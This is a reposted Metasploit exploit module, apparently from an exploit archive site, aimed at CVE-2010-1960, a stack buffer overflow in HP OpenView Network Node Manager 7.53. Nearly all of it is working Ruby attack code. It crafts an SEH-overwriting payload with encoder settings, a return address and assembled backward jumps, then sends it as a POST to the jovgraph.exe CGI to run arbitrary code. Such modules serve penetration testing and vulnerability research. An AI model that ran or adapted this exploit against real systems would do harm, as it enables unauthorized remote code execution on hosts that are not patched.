ExploitFixes
HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow - [CVE: 2010-1960] 2011-03-24 14:15:36

##
# $Id: hp_nnm_ovwebsnmpsrv_uro.rb 12095 2011-03-23 15:43:25Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'
CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.
The vulnerable code is within the option parsing function within "ovwebsnmpsrv.exe" with a
timestamp prior to April 7th, 2010.

Reaching the vulnerable code requires a 'POST' request with an 'arg' parameter that, when combined
with a some static text, exceeds 10240 bytes. The parameter must begin with a dash. It is
important to note that this vulnerability must be exploited by overwriting SEH. This is since
overflowing the buffer with controllable data always triggers an access violation when
attempting to write static text beyond the end of the stack.

Exploiting this issue is a bit tricky due to a restrictive character set. In order to accomplish
arbitrary code execution, a double-backward jump is used in combination with the Alpha2
encoder.
} ,
'Author' =>
[
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12095 $',
'References' =>
[
[ 'CVE', '2010-1960' ],
[ 'OSVDB', '65427' ],
[ 'BID', '40637' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-105/' ],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 10240, # 10240 byte buffer..
# In addition to regular HTTP type bad chars, this one also has
# an issue with " since the buffer is being passed on the command line.
'BadChars' => (0x00..0x1f).to_a.pack('C*') + "\x20\x21\x22\x24\x2c\x3b\x3c\x3e\x60",
'DisableNops' => true,
# Manually use FPU to get EIP into ECX
'PrependEncoder' => "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x83\xe9\xf7",
'EncoderOptions' => { 'BufferRegister' => 'ecx' },
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP OpenView Network Node Manager 7.53 w/NNM_01206',
{
'Ret' => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166
}
],
[ 'Debug Target',
{
'Ret' => 0xdeadbeef, # crasher
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'June 08 2010'))

register_options(
[
Opt::RPORT(80),
], self.class)
end

def exploit

print_status("Trying target #{target.name}...")

cgi = '/OvCgi/jovgraph.exe'

# A long command line option (starts with -) will cause a buffer overflow.

# Action just has to be set, doesn't matter what it is.
action = rand_text_alphanumeric(1)

# "timestamp" cannot be set.

start = 'Unrecognized option: '

# SEH
seh_offset = 0x2cb0 # 0x13ffb0 - 0x13d300
seh_frame = generate_seh_record(target.ret)

# Jump back to the payload, after p/p/r jumps to us.
# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
distance = seh_offset - 1 + seh_frame.length # dry run
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
distance = seh_offset - start.length - 1 - jmp_back.length
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

# A short jump back to the long jump back :)
jmp_small = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + jmp_back.length.to_s).encode_string
jmp_small << rand_text(2)

buf = '-'
buf << payload.encoded
buf << "A" * (seh_offset - start.length - buf.length - jmp_back.length)
buf << jmp_back
buf << jmp_small
buf << [target.ret].pack('V')

# Send the request
res = send_request_cgi({
'uri' => cgi,
'method' => "POST",
'vars_post' =>
{
'act' => action,
'arg' => buf,
}
}, 3)

if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
print_status(res.inspect) if datastore['NNM_DEBUG']
end

handler

end

end